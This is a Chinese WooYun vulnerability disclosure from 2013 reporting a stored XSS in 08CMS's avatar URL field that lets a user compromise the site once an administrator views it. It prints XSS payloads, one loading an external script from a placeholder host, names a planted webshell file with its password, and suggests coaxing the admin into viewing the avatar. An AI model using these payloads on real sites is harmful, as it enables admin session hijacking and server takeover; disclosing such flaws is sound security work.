漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2013-044261
漏洞标题:08cms存储型XSS可getshell(较鸡肋)
相关厂商:08CMS
漏洞作者: redrain有节操
提交时间:2013-11-28 15:05
修复时间:2014-01-12 15:06
公开时间:2014-01-12 15:06
漏洞类型:xss跨站脚本攻击
危害等级:高
自评Rank:15
漏洞状态:未联系到厂商或者厂商积极忽略
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2013-11-28: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-01-12: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
用户在前台构造xss,管理在后台直接getshell
详细说明:
赠送几个反射型:
搜索处存在反射性xss
用户在前台修改头像的时候发现可以外部调用,仅仅是检查了后缀,然后在附件的地方插入
http://xxx.com/"><script>alert(1)</script>adminc/images/logo_member.png
返回我的首页,发现成功的触发了xss
再插入
http://xxx.com/"><script src="http://xxx.js"></script><img src="http://www.baidu.com/img/bdlogo.gif
管理员后台查看后(可和管理反应,哎呀,我的头像有问题啊,之类的),成功地触发了成功的getshell cmsajax.php 密码fuckhelen
getshell的payload如下:
漏洞证明:
修复方案:
版权声明:转载请注明来源 redrain有节操@乌云
漏洞回应
厂商回应:
未能联系到厂商或者厂商积极拒绝